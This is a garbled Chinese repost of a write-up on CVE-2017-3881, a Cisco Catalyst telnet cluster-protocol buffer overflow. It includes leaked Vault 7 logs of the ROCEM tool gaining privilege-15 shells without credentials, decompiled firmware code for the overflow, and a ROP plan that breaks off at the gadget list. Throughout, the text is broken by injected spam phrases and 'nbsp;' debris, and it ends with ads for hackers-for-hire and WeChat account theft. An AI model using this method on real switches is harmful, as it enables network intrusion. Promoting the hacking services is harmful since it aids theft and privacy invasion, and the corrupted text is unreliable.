红客大户追款怎么联系-CVE-2017-3881:思科交换机 Catalyst 交换机远程控制代码执行漏洞剖析
您的Catalyst交换机上是不是开启了telnet? 如果是得话,那就需要小心了。文中将向阅读者详细介绍对于配备了全新固定件的Catalyst 2960交换机的远程控制代码执行漏洞的定义认证进攻技术性。实际的漏洞利用编码能够从这儿免费下载。下列是对17年3月7日美国中情局泄漏的绝密文件中的一个安全性漏洞的利用开发流程的详细描述,除此之外,思科公司于17年3月4日也公布公布了该漏洞的具体情况。可是,截至编写文中时,手机上进到 *** 黑客方式依然沒有能用的补丁下载。即便如此,還是有一个防范措施的,那便是禁止使用telnet,并代之以应用SSH。
CIA泄露的Vault 7nbsp;
17年3月7日,联邦调查局的一系列文档被泄漏,并被发布到维基解密上。在其中,一份文档中涉及到了一个危害几款Cisco交换机的远程控制代码执行漏洞。这一漏洞在泄漏的文本文档中的编号为ROCEM。尽管提及的关键技术非常少,但依然造成了大家的留意。
Vault 7的文本文档曝露了具体的漏洞利用编码的检测全过程,可是沒有泄漏漏洞利用的源码。依据泄漏的內容看来,有二点分外导入瞩目:该专用工具能够以互动方式或设定方式起动。其手机上进到 *** 黑客方式中,互动方式根据telnet推送重力梯度,并可以在同一telnet联接的前后文中马上向 *** 攻击出示指令shell。下边的內容取自该文本文档:
nbsp;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
手机上进到 *** 黑客方式 Startednbsp;ROCEMnbsp;interactivenbsp;sessionnbsp;-nbsp;successful:nbsp;
rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;./rocem_c3560-ipbase-mz.122-35.SE5.pynbsp;-inbsp;192.168.0.254
[ ]nbsp;Validatingnbsp;data/interactive.bin
手机上进到 *** 黑客方式[ ]nbsp;Validatingnbsp;data/set.bin
[ ]nbsp;Validatingnbsp;data/transfer.bin
[ ]nbsp;Validatingnbsp;data/unset.bin
Image:nbsp;c3手机上进到 *** 黑客方式560-ipbase-mz.122-35.SE5
Host:nbsp;192.168.0.254
Action:nbsp;Interactive
Proceednbsp;(y/n)y
Tryingnbsp;127.0.0.1...
手机上进到 *** 黑客方式[]nbsp;Attemptingnbsp;connectionnbsp;tonbsp;hostnbsp;192.168.0.254:23
Connectednbsp;tonbsp;127.0.0.1.
Escapenbsp;characternbsp;isnbsp;'^]'.
[ ]nbsp;Connectionnbsp;established
手机上进到 *** 黑客方式[]nbsp;Startingnbsp;interactivenbsp;session
Usernbsp;Accessnbsp;Verification
Password:
MLS-Sth
MLS-Sthnbsp;shownbsp;priv
手机上进到 *** 黑客方式 Currentnbsp;privilegenbsp;levelnbsp;isnbsp;15
MLS-Sthshownbsp;users
Linenbsp;Usernbsp;Host(s)nbsp;Idlenbsp;Location
nbsp;1nbsp;vtynbsp;0nbsp;idlenbsp;00:00:00nbsp;192.168.221.40
手机上进到 *** 黑客方式 Interfacenbsp;Usernbsp;Modenbsp;Idlenbsp;Peernbsp;Address
MLS-Sthexit
Connectionnbsp;closednbsp;bynbsp;foreignnbsp;host.
设定方式。改动交换机运行内存,便于未来能够在不用登陆密码的状况下创建telnet联接。下边的內容取自该文本文档:nbsp;
nbsp;
手机上进到 *** 黑客方式1
2
3
4
5
6
7
8
9
10
11
12
手机上进到 *** 黑客方式 13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Testnbsp;set/unsetnbsp;featurenbsp;ofnbsp;ROCEM
手机上进到 *** 黑客方式 DUTnbsp;configurednbsp;withnbsp;targetnbsp;configurationnbsp;andnbsp;networknbsp;setup
DUTnbsp;isnbsp;accessednbsp;bynbsp;hoppingnbsp;throughnbsp;threenbsp;fluxnbsp;nodesnbsp;asnbsp;pernbsp;thenbsp;CONOP
手机上进到 *** 黑客方式 Reloadednbsp;DUTnbsp;tonbsp;startnbsp;withnbsp;anbsp;cleannbsp;device
Fromnbsp;Adversenbsp;ICONnbsp;machine,nbsp;setnbsp;ROCEM:
rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;./rocem_c3560-ipbase-mz.122-35.SE5.pynbsp;-snbsp;192.168.0.254
手机上进到 *** 黑客方式[ ]nbsp;Validatingnbsp;data/interactive.bin
[ ]nbsp;Validatingnbsp;data/set.bin
[ ]nbsp;Validatingnbsp;data/transfer.bin
[ ]nbsp;Validatingnbsp;data/unset.bin
手机上进到 *** 黑客方式
Image:nbsp;c3560-ipbase-mz.122-35.S E5
Host:nbsp;192.168.0.254
Action:nbsp;Set
手机进入黑客模式
Proceednbsp;(y/n)y
[]nbsp;Attemptingnbsp;connectionnbsp;tonbsp;hostnbsp;192.168.0.254:23
[+]nbsp;Connectionnbsp;established
[]nbsp;Sendingnbsp;Protocolnbsp;Stepnbsp;1
手机进入黑客模式 []nbsp;Sendingnbsp;Protocolnbsp;Stepnbsp;2
[+]nbsp;Done
rootdebian:/home/user1/ops/adverse/adverse-1r/rocem
Verifiednbsp;Inbsp;couldnbsp;telnetnbsp;andnbsp;手机进入黑客模式rxnbsp;privnbsp;15nbsp;withoutnbsp;creds:
rootdebian:/home/user1/ops/adverse/adverse-1r/rocemnbsp;telnetnbsp;192.168.0.254
Tryingnbsp;192.168.0.254...
Connectednbsp;tonbsp;192.168.0.254.
手机进入黑客模式Escapenbsp;characternbsp;isnbsp;'^]'.
MLS-Sth
MLS-Sthshownbsp;priv
Currentnbsp;privilegenbsp;levelnbsp;isnbsp;15
MLS-Sth
在研究此漏洞时,我们发现了一段非常有用的信息,即手机进入黑客模式telnet的调试输出。下面是引自该文档的内容:nbsp;
nbsp;
1
2
3
4
5
6
7
8
9
10手机进入黑客模式
11
12
13
14
15
16
17
18
19
20
手机进入黑客模式 14.nbsp;Confirmnbsp;etronnbsp;EARnbsp;5355nbsp;-nbsp;Debugnbsp;telnetnbsp;causesnbsp;anomalousnbsp;outputnbsp;
nbsp;nbsp;1.Enablednbsp;debugnbsp;telnetnbsp;onnbsp;DUT
nbsp;nbsp;2.Setnbsp;ROCEM
手机进入黑客模式 nbsp;nbsp;3.Observednbsp;thenbsp;following:
nbsp;nbsp;nbsp;nbsp;000467:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;TTY-SPEEDnbsp;(32)nbsp;(refused)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000468:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;TTY-SPEEDnbsp;(32)
nbsp;nbsp;nbsp;nbsp;000469:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;LOCAL-FLOWnbsp;(33)nbsp;(refused)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000470:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;LOCAL-FLOWnbsp;(33)
nbsp;nbsp;nbsp;nbsp;000471:nbsp;Junnbsp;3nbsp;13:54手机进入黑客模式:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;LINEMODEnbsp;(34)
nbsp;nbsp;nbsp;nbsp;000472:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;LINEMODEnbsp;(34)nbsp;(unimplemented)
nbsp;nbsp;nbsp;nbsp;000473:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;NEW-ENVIRONnbsp;(39)
nbsp;nbsp;nbsp;nbsp;000474:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;NEW-ENVIRONnbsp;(39)nbsp;(unimplemented)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000475:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;DOnbsp;STATUSnbsp;(5)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000476:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;WONTnbsp;STATUSnbsp;(5)nbsp;(unimplemented)
nbsp;nbsp;nbsp;nbsp;000477:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;WILLnbsp;-DISPLAYnbsp;(35)nbsp;(refused)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000478:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;sentnbsp;DONTnbsp;-DISPLAYnbsp;(35)
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000479:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;TCP2:nbsp;Telnetnbsp;receivednbsp;DOnbsp;ECHOnbsp;(1)
nbsp;nbsp;nbsp;nbsp;000480:nbsp;Junnbsp;3nbsp;13:54:09.330:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;NAWSnbsp;116nbsp;29
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;000481:nbsp;Junnbsp;3nbsp;13:54:09.623:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;36nbsp;92nbsp;OS^K'zAuk,Fz90
nbsp;nbsp;nbsp;nbsp;000482:nbsp;Junnbsp;3nbsp;13:54:09.623:nbsp;Telnet2:nbsp;recvnbsp;SBnbsp;36nbsp;0nbsp;^CCISCO_KITS^Ap
请注意该服务在最后一行接收到的CISCO_KITS选项,这是一个非常重要的字符串。
思科的漏洞报告
思科公司于2017年3月17日公布了其交换机中存在的这个漏洞。这份报告是基于Vault 7中的文档:
Cisco IOS和Cisco IOS E软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备,或者远程执行具有更高权限的代码。
在撰写本文时,除了下段文字之外,仍然没有更多的细节手机进入黑客模式可用:
集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。这个漏洞是由于两个因素共同导致的:
没有将与CMP有关的Telnet选项限制在集群成员之间的内部本地通信中,而是接受和处理通过任何与受影响设备的Telnet连接发送的此类选项,与此同时,也没有正确处理畸形的与CMP有关的Telnet选项。
长话短说,该漏洞允许攻击者利用telnet服务在目标交换机上远程执行代码。但为了应用这个报告,我需要更多的信息。所以我决定深入研究一下思科集群管理协议。
手机进入黑客模式交换机群集
好吧!我搞了两个Catalyst 手机进入黑客模式 2960交换机来研究这个漏洞。集群技术会将交换机设置为主从关系。主交换机能够在从交换机上获得特权命令shell。正如Cisco在其报告中所提到的那样,telnet被用作集群成员之间的命令协议。有关群集的信息可以在这里找到,这里是一个设置群集环境的例子。
现在,我们来考察一下集群成员之间的通信。以下是主交换机的配置:nbsp;
nbsp;
1
2
手机进入黑客模式 clusternbsp;enablenbsp;CLGRPnbsp;0
clusternbsp;membernbsp;1nbsp;mac-addressnbsp;xxxxxxxxxx
这会把附近的交换机添加为集群的从交换机。rcommand lt;numgt;允许从主交换机的接口上获得从设备的命令接口。这符合设计预期。
nbsp;
1
手机进入黑客模式 2
3
4
5
catalyst1gt;rcommandnbsp;1
catalyst2gt;who
nbsp;nbsp;nbsp;nbsp;Linenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Usernbsp;nbsp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;Host(s)nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Idlenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Location
手机进入黑客模式 nbsp;nbsp;1nbsp;vtynbsp;0nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;idlenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;00:00:00nbsp;10.10.10.10
nbsp;nbsp;Interfacenbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;Usernbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Modenbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;Idlenbsp;nbsp;nbsp;nbsp;nbsp;Peernbsp;Address
我们手机进入黑客模式来看看rcommand生成的流量:
嘿! telnet流量能干啥? 报告明确指出:
集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。
不错,实际上运行show version可以看到更多的流量:nbsp;
nbsp;
1
2
catalyst2gt;shownbsp;version
手机进入黑客模式 Cisconbsp;IOSnbsp;Software,nbsp;C2960nbsp;Softwarenbsp;(C2960-LANBASEK9-M),nbsp;Versionnbsp;12.2(55)SE1,nbsp;RELEASEnbsp;SOFTWAREnbsp;(fc1)
阿哈!Telnet流量实际上被封装在第2层的LLC数据包中。如果仔细观察的话,在源和目的地字段中就会注意到带有MAC地址的IP数据包。在这些“IP”数据手机进入黑客模式包之内,含有telnet会话的有效TCP帧。
telnet会话通常出现在telnet选项磋商之前,其中包括:终端大小、终端类型等信息。要想了解更多信息,请参考RFC。
在提交catalyst2gt;消息之前,会向服务器端一个telnet选项:nbsp;
在这里,您可以看到从主交换机发送到从交换机的telnet选项“CISCO_KITS”。在执行漏洞利用代码期间出现的这个字符串,同样出现在Vault 7文档中,并且一模一样。接下来,我们手机进入黑客模式将深入考察交换机的内部原理。
搞定固件
手机进入黑客模式
固件位于交换机的flash:lt;versiongt;.bin中。
nbsp;
1
2
3
4
catalyst2dirnbsp;flash:
Directorynbsp;ofnbsp;flash:/
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;2nbsp;nbsp;-rwxnbsp;nbsp;nbsp;nbsp;nbsp;9771282nbsp;nbsp;nbsp;Marnbsp;1nbsp;1993nbsp;00:13:28nbsp;+00:00nbsp;nbsp;c2960-lanbasek9-mz.122-55.SE1.bin
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;3nbsp;nbsp;-rwxnbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;2487nbsp;nbsp;nbsp;Marnbsp;1nbsp;1993nbsp;00:01:53nbsp;+00:00nbsp;nbsp;config.text
内置的ftp客户端允许将此固件传输至任意ftp服务器。好,现在我们就借助binwalk来分析和提取该文件的内容:nbsp;
nbsp;
1
手机进入黑客模式 2
3
4
nbsp;binwalknbsp;-enbsp;c2960-lanbasek9-mz.122-55.SE1.binnbsp;
DECIMALnbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;HEADECIMALnbsp;nbsp;nbsp;nbsp;nbsp;DESCRIPTION
--------------------------------------------------------------------------------
手机进入黑客模式 112nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;70nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;bzip2nbsp;compressednbsp;data,nbsp;blocknbsp;sizenbsp;nbsp;900k
为了便于对获取的二进制数进行静态分析,我们更好找到固件加载的偏移量。实际上,在引导过程中,该偏移量将打印输出到串行控制台中:nbsp;
nbsp;
1
2
3
4
Loadingnbsp;"flash:c2960-lanbasek9-mz.122-55.SE1.bin"...
Filenbsp;"flash:c2960-lanbasek9-mz.122-55.SE1.bin"nbsp;uncompressednbsp;andnbsp;installed,
手机进入黑客模式 entrynbsp;point:nbsp;3000
executing...
这时候,IDA就该上场了。这里的CPU架构是PowerPC 32位BigEndian。下面,我们将这个二进制文件加载到3000处:nbsp;
寻找字符串
还记得前面在群集通信中捕获的字符串CISCO_KITS吗?我们将从这里下手。在通过IDA观察大部分函数后,可以发现针对固件末尾处那些字符串的交叉引用。
“CISCO_KITS”字符串将被return_cisco_kits函数所引用,实际上该函数只是将该字符串作为char 手机进入黑客模式 返回。我们将重点关注调用return_cisco_kits的call_cisco_kits函数,该函数位于0004ED8C。
因为telnet代码对于客户端和服务器而言是对称的,所以我们实际上可以看到发送到服务器端的缓冲区的格式为- %c%s%c%d:%s:%d :。这实际上与发送缓冲区中观察到的流量是一致的:nbsp;
nbsp;
1
手机进入黑客模式 2
3
4
5
6
7
8
9
10
11
12
13
手机进入黑客模式 14
15
16
17
18
19
20
21
22
23
24
25
手机进入黑客模式 26
27
28
29
ifnbsp;(nbsp;telnet_struct-gt;is_client_modenbsp;)nbsp;//nbsp;clientnbsp;modenbsp;thennbsp;sendnbsp;"CISCO_KITS"nbsp;string
手机进入黑客模式 {
nbsp;nbsp;nbsp;nbsp;ifnbsp;(nbsp;telnet_struct-gt;is_client_modenbsp;nbsp;1nbsp;)
nbsp;nbsp;nbsp;nbsp;{
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;cisco_kits_string_2nbsp;nbsp;(charnbsp;)return_cisco_kits();
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;int_twonbsp;nbsp;return_2();
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;tty_strnbsp;nbsp;get_from_tty_struct((telnet_structnbsp;)telnet_struct_arg-gt;tty_手机进入黑客模式struct);
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(_DWORDnbsp;)amp;telnet_struct_arg-gt;tty_struct[1].field_6D1;
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;format1_retnbsp;nbsp;format_1(
nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;128,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(int)amp;str_buf[8],
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;"cscd:s:d:",
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;3,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;cisco_kits_string_2,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;1,
amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;int_two,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;tty_str,
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;0);
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;telnet_structnbsp;nbsp;(telnet_structnbsp;)telnet_send_ *** (
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;(int)telnet_struct_arg,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;36,
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;手机进入黑客模式nbsp;0,
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;amp;str_buf[8],
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;format1_ret,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v8,
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;手机进入黑客模式nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v7,
nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;v6);
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;}
}
大家有没有发现,这里有两个%s字符串修饰符,但是在流量样本中实际上只有一个字符串即CISCO_KITS,这是因为第二个字符串是空的,并且位于两个:字符之间。进一步观察函数的控制流程,我注意到处理第二个手机进入黑客模式字符串时(这次是服务器端代码)有一些有趣的行为:nbsp;
nbsp;
1
2
3
4
5
fornbsp;(nbsp;jnbsp;nbsp;(unsignednbsp;__int8)string_buffer;nbsp;jnbsp;!amp;手机进入黑客模式nbsp;':';nbsp;jnbsp;nbsp;(unsignednbsp;__int8)string_buffernbsp;)//nbsp;putnbsp;datanbsp;beforenbsp;secondnbsp;":"nbsp;atnbsp;amp;str_bufnbsp;+nbsp;152
{
nbsp;nbsp;nbsp;nbsp;str_buf[v19++nbsp;+nbsp;152]nbsp;nbsp;j;
手机进入黑客模式 nbsp;nbsp;nbsp;nbsp;++string_buffer;
}
我们发送取自第二个%s字符串中的数据的时候,实际上会一直复制到:字符,并且没有检查位于堆栈上的目标缓冲区的目标边界。这会出现什么情况? 没错, 缓冲区溢出!nbsp;
让代码运行起来
实际上,要想控制指令指针是很容易的,因为可以用发送的缓冲区来覆盖它。但问题是:堆和(位于堆上的)栈是不可执行的。我的手机进入黑客模式更佳选择是,启用数据和指令缓存。以下内容引自Felix Lindner在BlackHat 2009上的演示文稿:nbsp;
该ROP上场了
由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重用固件中的现有代码。这种做法的思想是,通过某种方式链接函数的Epilog来完成任意的内存写操作。但等一下,写什么呢? 我们先来看看反编译的00F47A34处的函数:nbsp;
nbsp;
1
手机进入黑客模式 2
3
4
5
6
7
8
9
10
11
12
13
手机进入黑客模式 14
ifnbsp;(nbsp;ptr_is_cluster_mode(tty_struct_var-gt;telnet_struct_field)nbsp;)
{
nbsp;nbsp;telnet_struct_varnbsp;nbsp;tty_struct_var-gt;telnet_struct_field;
nbsp;手机进入黑客模式nbsp;ptr_get_privilege_levelnbsp;nbsp;(intnbsp;(__fastcallnbsp;)(int))some_libc_func(0,nbsp;(unsignednbsp;intnbsp;)amp;dword_22659D4[101483]);
nbsp;nbsp;privilege_levelnbsp;nbsp;ptr_get_privilege_level(telnet_struct_var);//手机进入黑客模式nbsp;equalsnbsp;tonbsp;1nbsp;duringnbsp;rcommandnbsp;1
nbsp;nbsp;telnet_struct_1nbsp;nbsp;tty_struct_var-gt;telnet_struct_field;
nbsp;nbsp;ptr_telnet_related2nbsp;nbsp;(voidnbsp;(__fastcallnbsp;)(int))手机进入黑客模式some_libc_func(1u,nbsp;(unsignednbsp;intnbsp;)amp;dword_22659D4[101487]);
nbsp;nbsp;ptr_telnet_related2(telnet_struct_1);
手机进入黑客模式 nbsp;nbsp;(_DWORDnbsp;)amp;tty_struct_var-gt;privilege_level_fieldnbsp;nbsp;((privilege_levelnbsp;lt;lt;nbsp;28)nbsp;amp;nbsp;F0000000nbsp;|nbsp;(_DWORDnbsp;)amp;tty_struct_var-gt;privilege_level_fieldnbsp;amp;nbsp;FFFFFFF)nbsp;amp;nbsp;FF7FFFFF;
}
else
手机进入黑客模式 {
nbsp;nbsp;//genericnbsp;telnetnbsp;session
}
这里发生了一些有趣的事情。首先要强调的是,ptr_is_cluster_mode和ptr_get_privilege_level都是通过引用全局变量间接进行调用的。检查地址为00F47B60的代码行,我们发现is_cluster_mode函数的地址是从01F24A7处的dword中加载的。类似的,get_privilege_level函数的地址则是从3F47B8C处的r3寄存器中加载的。此时,r3的内容则是“残留”在地址022659D4 手机进入黑客模式 + 28 + C处的一个已经解除引用的指针。
如果ptr_is_cluster_mode调用返回非零值,并且ptr_get_privilege调用返回-1之外的值,那么我们将收到一个telnet shell,并且不需要提供任何登陆凭证。下面的代码用来检查变量privilege_level的值:nbsp;
如何才手机进入黑客模式能覆盖这些函数指针,让它总是返回所需的正值的呢? 由于堆和栈无法直接执行,所以我不得不重用现有的代码来执行此类的内存写操作。为此,可以使用以下ROP零件:nbsp;
nbsp;
1
2
3
4
5
6
7
[1][2][3][4][5][6][7][8][9][10][11][12][13]黑客接单渠道选用airssl.sh这个bash脚本,树立垂钓热门。 二、在ubuntu上装置autossh 、ss...
专业黑客先做事后付款3(黑客教你3分钟盗微信),但是,《文摘》本日要谈的不是特斯拉的先进体系,也不是马斯克,而是特斯拉近来爆出的体系平安疑问。在汽车消息文娱方面,特斯拉位居第二。生怕没人敢先说。用户不...
最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的...
微信被盗了找黑客相关问题 黑客专用手机壁纸相关问题 做黑客靠什么收入 黑客qq空间强制查看器(qq空间黑客) q...
求一款手机可以远程控制手机的软件APP 1、首先手机先要在应用商城下载“向日葵”客户端。安装完毕后点击进去,向日葵账号进行注册登录,登录之后手机还没有被远程连接过的话就没有信息显示。点击了解详情,在详...
不知道密码,怎么看别人的微信聊天记录-免费接单黑客QQ 1月31日消息 今天晚间九点前后,字节跳动旗下今日头条微信小程序因违规呗暂停服务。提示页面显示,小程序今日头条由于所选类目与小程序运营内容不符...